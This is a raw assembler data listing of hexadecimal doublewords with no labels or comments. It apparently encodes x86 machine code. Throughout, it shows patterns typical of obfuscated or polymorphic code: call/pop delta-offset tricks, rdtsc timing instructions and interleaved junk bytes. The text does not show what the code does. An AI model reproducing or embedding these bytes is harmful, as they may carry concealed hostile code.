		dd 78ED815Dh, 6A06234Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 3BAC356h, 1F1219BDh
		dd 6AFE8A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 4B73C357h, 0B7DF8B66h,	0E4858DC6h
		dd 6A06228Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2563C357h, 0E0D91h, 775BD8Bh
		dd 0B790061Fh, 6A9050B0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 302BC357h, 4D599BA9h
		dd 0D9BD8BDFh, 0E9061F10h, 0Dh,	42AA63F6h, 289700DBh, 3453160h
		dd 35FF649Eh, 0
		dd 6651FE8Ah, 645FDA8Bh, 2589h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7A0C3h, 0F53AEB03h
		dd 0F811E12h, 85FFDABFh, 61F1029h, 7DD9D8Bh, 0FF6A061Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E9C35646h
		dd 0DED5A203h, 1F4CAE2Fh, 7DB5FFC2h, 0BF061F15h, 6A5C73F3h
		dd 2AB9BD03h, 95FF061Fh, 61F1CEDh, 13FE9h, 0B0FC00h, 1B840Fh
		dd 0E9600000h, 0Eh, 0A5663AE2h,	33227E28h, 0FEF11163h
		dd 0F781441Fh, 1534709h, 8970E661h, 1F3011B5h, 8971E406h
		dd 1F2FED8Dh, 0F613C06h, 10383h, 0FA8B6600h, 89C8B60Fh
		dd 1F2C259Dh, 6BA06h, 6E80000h,	50000000h, 0A6B43F5Ah
		dd 0C7816616h, 895BD437h, 1F090195h, 8BC18B06h,	1F2EA1BDh
		dd 4E8C106h, 0F766FE8Bh, 0FD9589E2h, 2B061F0Fh,	0D18BFCC8h
		dd 2F259D8Bh, 860F061Fh, 0Bh, 5860Fh, 0AFBF0000h, 0E95DECD5h
		dd 6, 31C1BD23h, 858B061Fh, 61F3069h, 2DF1BD23h, 0C083061Fh
		dd 0EE907h, 35720000h, 0A465D20h, 0E545EB74h, 0FFFED19Dh
		dd 0E800C083h, 12h, 0AA11DA75h,	0E49B8E58h, 0C06716CFh
		dd 13F8F7DDh, 0BF0F4FC5h, 0D03B5FDEh, 16830Fh, 0BD8B0000h
		dd 61F1B99h, 4BE9h, 6E900h, 0DDE40000h,	0EE305AB3h, 2C298D8Bh
		dd 9D8B061Fh, 61F2CA5h,	66CF8B60h, 8361D08Bh, 840F01E1h
		dd 24h,	1B199529h, 0A583061Fh, 61F2C29h, 0DBD8BFEh, 89061F31h
		dd 1F306995h, 8F0F06h, 0E9000000h, 0
		dd 0D2DAB58Dh, 0FA8B0622h, 0AE9h, 59051F00h, 310C6187h
		dd 6A410B59h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8D898BC0h, 61F24A1h, 1D4595FFh, 6A061Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 59D71C3h, 0E04B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0E1DB69ABh, 83FE8B66h
		dd 8B66FCE1h, 8D89FCFEh, 61F1679h, 0D22BC02Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5AC35040h, 69892A11h
		dd 6E68B499h, 0ADF98B66h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0B93BC351h, 7B0123CAh, 0F05AFE4h,	58Ah, 0CB816600h
		dd 0E9BBB6F0h, 6A2B7B09h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F095C357h,	3502C52Ch
		dd 880DB330h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 4EDDC352h, 0A02A9E2Fh
		dd 6A99D89h, 958B061Fh,	61F0B5Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 1BC35242h, 14622C3h, 0C5958980h
		dd 8B061F2Ah, 1F20C58Dh, 0B1C38006h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 9D895818h, 61F18A5h, 12B5B509h
		dd 0BD83061Fh, 61F078Dh, 7F840F00h, 52000000h, 9E1BD8Bh
		dd 0B85B061Fh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 94C35747h
		dd 6E9h, 1279DB00h, 8DADE21Ah, 1F4DB08Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 9FB3F009h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0A41C37C3h, 2B5DBF67h, 0BD8340C1h
		dd 61F137Dh, 1F840F00h,	2B000004h, 1F23D5BDh, 7DBD8306h
		dd 1061F13h, 427840Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0A82285C3h, 830DF317h
		dd 1F137DBDh, 860F0306h, 3C3h, 0B870FF5h, 60000000h, 2F95958Bh
		dd 8B66061Fh, 896061D3h, 1F0D619Dh, 0D3F38106h,	66650F2Fh
		dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0CB817FC3h, 37B94D1Bh, 6604E180h,	0DDB8E381h
		dd 840FC90Ah, 123h, 13C9B531h, 858B061Fh, 61F0DC1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h, 9D8B7CBFh
		dd 61F08BDh, 2EC98533h,	7E9061Fh, 0D0000000h, 0CC8551B4h
		dd 0E950484Eh, 6, 853A9BF4h, 489D1A7h, 6A006A24h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0A1E6C357h, 0FE1E39A6h, 71BD8B2Eh, 68061F16h, 1D9F1E52h
		dd 11E8h, 9EAF5700h, 0D9FD7FAAh, 3F373079h, 91BF3F0Bh
		dd 815B6987h, 1DAD2434h, 6A1D80h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0EAABBAC3h, 0F26F6351h
		dd 5766B78Ah, 68F0Fh, 8D010000h, 61F2C2Dh, 0FE95Fh, 0DCCF0000h
		dd 0A4BE8D56h, 49AAB8E9h, 0F6438E70h, 0E195FF24h, 6A061F2Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 2D18C350h, 0F91925DBh, 0B2558589h, 9D330622h
		dd 61F1FC1h, 1B0E9h, 4D858900h,	8B061F1Dh, 22B24D85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0EAEF3437h, 0BD8B0A8Dh, 61F19FDh, 6E9h, 0E2065A00h
		dd 0C7CFA161h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0F2C6C4F8h, 61BD8B9Bh
		dd 60061F03h, 19B1B589h, 9D2B061Fh, 61F19C5h, 51B58B61h
		dd 6A0622B2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9A4DC356h, 0F1267722h,	8B01D065h
		dd 1F0A01BDh, 0FAB70F06h, 13A1858Bh, 85BF061Fh,	89616E8Bh
		dd 0A93DBB06h, 858B19B2h, 61F0DC1h, 0C5C3C781h,	4689380Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0D3BC7F63h, 56A67417h, 0BD038067h, 61F1045h
		dd 13E950h, 89F60000h, 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh
		dd 54B2A13Ah, 243489ACh, 0D3816650h, 95F57ECh, 1F000D85h
		dd 4DB5FF06h, 6A0622B2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 32AAC352h, 0E356821h
		dd 95893E78h, 61F1A5Dh,	0AE822868h, 0E9525078h,	12h, 95D7B4BEh
		dd 0F2321588h, 7FBB2B6Fh, 3A219484h, 310F3123h,	6830Fh
		dd 850F0000h, 0
		dd 3481585Ah, 0B181D724h, 0FABF0F78h, 0B255858Dh, 0BD290622h
		dd 61F2E99h, 52505090h,	0FD88B66h, 5A5B5031h, 9D8B9058h
		dd 61F08EDh, 2DE195FFh,	0BF0F061Fh, 6A61FEh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BB663CC3h
		dd 0E953654Fh, 9, 95C304D6h, 8EFE7ECCh,	85C75FA1h, 61F137Dh
		dd 3, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 18h
		dd 73C35646h, 0E2878490h, 587ABF66h, 0B255BD83h, 0F000622h
		dd 3684h, 21BD0300h, 0E9061F24h, 46h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 79C35040h, 29C16BDEh, 1F2B7D85h
		dd 859D8906h, 50061F30h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0B04E04C3h, 870FE4h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 8EEAC357h, 432FE995h, 0FF48F21h
		dd 0BD83DABFh, 61F137Dh, 86850F03h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 16B7C351h, 8B8A2C1Fh, 1F1B459Dh, 9E906h, 47D10000h
		dd 5F4A2B40h, 837AF828h, 22B255BDh, 840F0006h, 445h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E6C35242h, 0DE8h
		dd 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 0B5297FF7h, 61F146Dh
		dd 55B5FF5Fh, 890622B2h, 1F2089BDh, 0C995FF06h,	6A061F1Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0EC46C352h, 0B249B58Bh, 85890622h, 61F2E11h
		dd 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0DD8D0FC3h, 9CD81FA2h, 15B58966h
		dd 96061F14h, 0E8F0Fh, 52500000h, 645ADEBFh, 66310F04h
		dd 585ADA8Bh, 96F88A50h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 9EC35545h, 8B52FA81h,	1F0F399Dh, 0B5FF5B06h
		dd 622B255h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	69C35242h, 2E687471h, 0FF596000h, 1F162195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 7B858609h, 9589FCB8h, 61F0005h, 0B249B58Bh, 0B5890622h
		dd 61F0069h, 2FF1858Bh,	6A061Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 1BB482C3h, 868932B4h
		dd 0C4h, 18D58D89h, 958B061Fh, 61F0B5Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 0D8C35040h, 0BD8B0807h
		dd 61F2F85h, 6A04C283h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 4C5AC351h, 5C60DDEBh
		dd 2359BD89h, 0F381061Fh, 443FD393h, 0B3205089h, 97858D6Ah
		dd 8B0622C7h, 0B88689F8h, 80000000h, 6A3BE7h, 1674E381h
		dd 0B5FF2D9Dh, 622B255h, 78D0Fh, 880F0000h, 1, 0D58589FCh
		dd 0FF061F2Ah, 1F2F5595h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0C5BD027Dh
		dd 0EE86049h, 2A000000h, 63E52BE1h, 3686E823h, 117C2D4Bh
		dd 39B58954h, 58061F0Eh, 0F861F48Ah, 108B0F96h,	60000000h
		dd 5E9h, 3F88BF00h, 0B9669012h,	5061B665h, 6696D98Bh, 0FF1DB7BFh
		dd 22B255B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 459B099h,	95FF148Ch, 61F0E1Dh, 1971DB81h
		dd 0BD83466Ah, 61F2C0Dh, 52840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F873C352h, 0CE6FEF9Fh, 8BA81B18h, 1F11759Dh, 0A8BF5006h
		dd 895A1226h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 3483BCC3h, 55B5FF8Bh, 6A0622B2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 6335C353h, 9D2380B3h, 61F2BE1h, 134995FFh
		dd 0D88B061Fh, 0FE8h, 4D20C500h, 6F0043C0h, 7A420349h
		dd 0ECFC79DDh, 0AE8h, 0AE31BB00h, 8DED703Eh, 8B5C7F43h
		dd 1F1D559Dh, 0FF5F5F06h, 22B255B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0CD1565A4h
		dd 1B767E14h, 7595FF1Eh, 0F061F10h, 0BD83DFB7h,	61F0009h
		dd 79840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D3CEC350h,	0DE486089h
		dd 0E81A5E24h, 8, 0FBE029D6h, 0DD61067Bh, 2FBD9D09h, 8B5B061Fh
		dd 1F175185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 429E17ADh, 3EF27B47h, 6195316Ch
		dd 0F061F30h, 0C6D9B7h,	0DC806000h, 95958908h, 61061F2Dh
		dd 129185C7h, 61Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1D0424h, 50400000h, 6BFA3BC3h, 6DCF818Dh
		dd 89D57C51h, 1F0CD18Dh, 0F308E906h, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 24B15EC3h
		dd 0E0EDD5EBh, 6AC18B1Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8BC6C350h, 1F1671BDh
		dd 0BD858D06h, 0E9061F19h, 7, 44471557h, 50D71005h, 7A76BF66h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 8F56C355h, 6A0D78D3h, 0B8CF8000h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 53AF02C3h, 0C0939CBh, 0D38166D9h,	0EF813DE9h
		dd 1C98D1B3h, 5F71858Dh, 0CEB30623h, 0E905C083h, 0Eh, 9200F079h
		dd 16A8DBAAh, 0B37AA0BAh, 89500089h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0BF99D0C3h
		dd 5A2E5D69h, 6AF7D780h, 0ADBD8B00h, 89061F18h,	1F1F99B5h
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 6B79C351h, 5B5297Ah, 0FF061F30h
		dd 1F016195h, 0EE806h, 98EB0000h, 0ABE1AA00h, 51E3E5ABh
		dd 0C3991E9Ah, 1B05BD8Bh, 8D5F061Fh, 22B1F28Dh,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 81664C79h, 0FF1243C3h, 0BD0B52D1h, 61F12D5h,	0F5BD835Bh
		dd 1061F0Eh, 6F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0FFE7A4C3h, 85893321h
		dd 61F318Dh, 0BA58D89h,	26A061Fh, 2D4DBD8Bh, 5090061Fh
		dd 0AE952h, 72750000h, 0FDA033B9h, 0AC4235C4h, 585A310Fh
		dd 7E950h, 3F850000h, 9F86B349h, 0E38190ADh, 3588EEFBh
		dd 19CDB589h
		dd 95FF061Fh, 61F2F55h,	42DCF6BBh, 0E4EE919h, 0E80000h
		dd 5D000000h, 5F7BED81h, 6A0623h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 5BF4D1C3h, 0B79F10DDh
		dd 0BF424665h, 50E6B38Fh, 0CD9D8B60h, 0F061F24h, 281h
		dd 61616000h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	0A3C35747h, 54D1D316h, 6F5CC845h, 0E4858DF5h, 6A06228Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B12C353h, 1F12659Dh, 8F0F9006h, 14h, 5E95250h
		dd 0D000000h, 0F3771587h, 0BF66310Fh, 585A450Fh, 0A181BB50h
		dd 64902E41h, 35FFh, 89640000h,	25h, 8D9D0300h,	0FF061F30h
		dd 1F102985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0F87EBE87h, 0B5BDB240h, 0E98D3113h
		dd 6A061F0Ah, 15B5FFFFh, 6A061F1Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 4507C353h
		dd 4EC6D899h, 0A90D9E2h, 0ED95FFF8h, 0E9061F1Ch, 11Fh
		dd 0F6000B0h, 0C88BC7BFh, 0E970E661h, 14h, 0BF590DEAh
		dd 26CDBF0Bh, 146E4CEFh, 20829081h, 87471E20h, 0CF8071E4h
		dd 0F613C30h, 0EE83h, 89858900h, 0F061F11h, 9589C8B6h
		dd 61F2B85h, 6BAh, 0DA8B6600h, 13E9C18Bh, 16000000h, 7FC82EE0h
		dd 0EDCD644Bh, 0B5660A08h, 4770F80Eh, 0E8C14D39h, 7D858904h
		dd 66061F0Dh, 0C82BE2F7h, 2A659D29h, 0D18B061Fh, 6E9F8h
		dd 9D290000h, 61F08B1h,	721858Bh, 8B66061Fh, 7C083DFh
		dd 0DE9h, 0DA539000h, 2420660Fh, 84D9BE68h, 0C0838E3Eh
		dd 0FD03B00h, 2F83h, 0E7F3BF00h, 8B663C97h, 65E9F8h, 10E80000h
		dd 44000000h, 0E2912059h, 0A6AEE932h, 49058F38h, 0FED4079h
		dd 686h, 85BD8B00h, 5B061F12h, 27D8D8Bh, 870F061Fh, 6
		dd 0EDBD01h, 0E183061Fh, 28840F01h, 89000000h, 1F0A8D9Dh
		dd 7DA58306h, 0FE061F02h, 0DFB70FF5h, 7219589h,	880F061Fh
		dd 6, 11999D29h, 0E9061Fh, 8D000000h, 22E2ECB5h, 0DE906h
		dd 3E720000h, 7085CDECh, 7DF90D8Ah, 8AB42C51h, 0F006ADAh
		dd 95FFFBBFh, 61F1D45h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D2C35343h, 0D2BDD19Ah, 0AAACFEACh, 3DEF81D5h
		dd 0B9229B7Ah, 963h, 0E183BCB7h, 419D89FCh, 0FC061F1Dh
		dd 2CC19D8Bh, 0B8061Fh,	66000000h, 8971D3BBh, 1F1B3DBDh
		dd 0BA06h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0C434FEC3h, 0E8FC6542h, 0Ch, 86068638h
		dd 12492C34h, 0BD09980Ah, 0AD5F0CB3h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 677CC356h, 5751F656h, 5A35CC5Ah
		dd 2F4D9D03h, 870F061Fh, 6, 65DBD89h, 880D061Fh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 28D3C352h, 0AED0ACACh, 23798D89h,	7E9061Fh
		dd 0D7000000h, 5F4F2183h, 958B5787h, 61F0B5Dh, 396FBF66h
		dd 20C58D8Bh, 8166061Fh, 50B6EFD3h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6A3D02FDh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 423CC353h, 10E8h,	0B5544100h, 12631EA4h
		dd 0DEA3234Ch, 29DD2A6Dh, 919D89FDh, 5F061F1Bh,	78DBD83h
		dd 0F00061Fh, 6F84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0B802h, 8D8D0000h, 61F4DB0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B0C35242h
		dd 9D89FA7Eh, 61F0755h,	6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 8D4503C3h, 7B21B7ABh
		dd 137DBD83h, 0F00061Fh, 48A84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 6D40F9C6h
		dd 0A559D8Bh, 0BD83061Fh, 61F137Dh, 73840F01h, 0E9000004h
		dd 14h,	0ECEE56AFh, 2E773A5Dh, 0A31ADD75h, 0A90AED07h
		dd 0D4D153FDh, 137DBD83h, 0F03061Fh, 41786h, 0AE800h, 0EF450000h
		dd 0ED34CDB5h, 0AE4AB809h, 19CD9589h, 605F061Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C35343h, 0DA761F0h
		dd 7E9h, 0AC7C00h, 3B42CA7Eh, 0B7D98C66h, 4E180EEh, 0D018D89h
		dd 0C90A061Fh, 160840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 117A0EC3h, 8B580BCAh
		dd 1F0DC185h, 3EC6BB06h, 9D8B1AC7h, 61F0CB5h, 2EC98533h
		dd 8166061Fh, 501859F7h, 52505250h, 8B66310Fh, 0F585ADEh
		dd 89585A31h, 8B0F2404h, 3, 6AFFB70Fh, 0C0BB6600h, 4E868h
		dd 3FF0000h, 9E8001Fh, 8D000000h, 16D04474h, 8E009C72h
		dd 9E95250h, 3000000h, 5D3FF9DFh, 0ECDDBF1Bh, 585A310Fh
		dd 0BF66505Bh, 448B36DEh, 60570424h, 8E9h, 5F7CD300h, 824E26AAh
		dd 8B5F617Eh, 7ABF6600h, 2444891Eh, 0FA8B6604h,	51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F032F306h, 8589A1C3h, 61F1F99h, 10A98D09h, 95FF061Fh
		dd 61F2DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0E8C35040h, 7A19E9D7h, 89F559C2h, 22B25585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0BA1877D4h, 139C53D2h, 68F78166h, 1FCE923h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 48A6BEC3h, 384E7CD4h, 858BF967h, 622B24Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1EC35545h, 8B603327h
		dd 1F11E59Dh, 138F0F06h, 0E8000000h, 0Dh, 730CBB7Ah, 0F1392302h
		dd 0F70BF796h, 0C76159E6h, 1800h, 0FA8B6600h, 0B251B58Bh
		dd 6E80622h, 72000000h,	6622233Dh, 5BD98BDDh, 13A1858Bh
		dd 8A60061Fh, 5DB58BFCh, 61061F07h, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0EDE555C3h
		dd 0DFA4D4F0h, 8BF88B66h, 1F0DC185h, 6800F06h, 0B000000h
		dd 1F1EA9BDh, 4468906h,	68F0Fh,	9D2B0000h, 61F0E25h, 0DE95096h
		dd 0AD000000h, 358B96BDh, 0F698D1CFh, 4C45E053h, 4DB5FF96h
		dd 6A0622B2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0BBB4C356h, 202870F6h,	4E8h, 1F03FF00h
		dd 7E900h, 81610000h, 0EB8EE85Bh, 0BB665067h, 448B0424h
		dd 8B660424h, 0E8008BFBh, 11h, 0C05149ADh, 0E7433527h
		dd 0C8EEFA94h, 0E06E60BFh, 44895F96h, 52500424h, 0AE9h
		dd 86B28B00h, 0F56EEF38h, 0FA9D1EEh, 8E96031h, 8D000000h
		dd 169B1099h, 0BFC62C9Bh, 264309F7h
		dd 58585A61h, 8DEAD380h, 22B25585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0C846BB64h
		dd 0A9286687h, 0B3901CA3h, 860F502Bh, 0Ah, 505B5260h, 5A310F52h
		dd 81906158h, 2A2B36EBh, 6D9D8B67h, 0FF061F16h,	1F2DE195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 3C5073BAh, 0F1498DC3h, 8A618F06h, 7D85C7FDh
		dd 3061F13h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0A96AC351h,	5DB4D9Dh
		dd 0E9873A0Dh, 9, 0D74CE6E5h, 0B293A1FDh, 55BD839Eh, 622B2h
		dd 3A840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 190424h, 51410000h, 64D265C3h, 60AD14EAh, 890Fh, 8D230000h
		dd 61F0705h, 21E961h, 0BD290000h, 61F1A29h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h, 29D7B70Fh
		dd 1F2E7D95h, 66606106h, 9D09C88Bh, 61F122Dh, 7DBD8361h
		dd 3061F13h, 4B0850Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 692F6FC3h, 0BD83E4F7h
		dd 622B255h, 83840F00h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 43A7C355h
		dd 0DDF04C19h, 8B66D167h, 55B5FFD8h, 660622B2h,	1FC5CF81h
		dd 1BC995FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0FEEE58C3h, 0B737387Eh, 0B58B640Dh
		dd 622B249h, 6870Fh, 9D8B0000h,	61F2D11h, 106C7h, 6A0001h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0FC75F7C3h, 0FD8AEDC8h, 24348950h, 0B85BF66h, 0B3BA6660h
		dd 6954B883h, 0FF61165Ch, 22B255B5h, 7D9D8B06h,	0FF061F18h
		dd 1F162195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0C995292Ah, 8B061F31h, 1F2E7D9Dh
		dd 49B58B06h, 0F0622B2h, 189h, 858BFC00h, 61F2FF1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CCC35040h, 32B8A180h
		dd 0CE817h, 1F160000h, 22A18A2Ch, 87B46EACh, 0B5899052h
		dd 61F1285h, 0C486895Bh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9DF9C350h
		dd 0CD04C81Dh, 0B5D958Bh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 244F60C3h, 517CEDB9h
		dd 0E2BF6660h, 25C08158h, 610C6AF5h, 0E804C283h, 8, 95E7AA56h
		dd 677B7A98h, 895BF98Ah, 8DF92050h, 22C79785h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 2EBC8C8Ch, 0E8803AACh, 11h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h
		dd 91BBB555h, 0DD95294Bh, 5B061F0Dh, 0B88689h, 14E90000h
		dd 5C000000h, 45EF5574h, 0BD6BCAF1h, 0E845B474h, 92A4E9C8h
		dd 6A631886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0C00ECD17h, 0B70F603Ah, 59D8BD1h
		dd 61061F0Ah, 10E9h, 0B10B6900h, 5C9FEF4Fh, 0D446CF14h
		dd 0CBD3F0A2h, 55B5FFB9h, 6A0622B2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 468FC352h
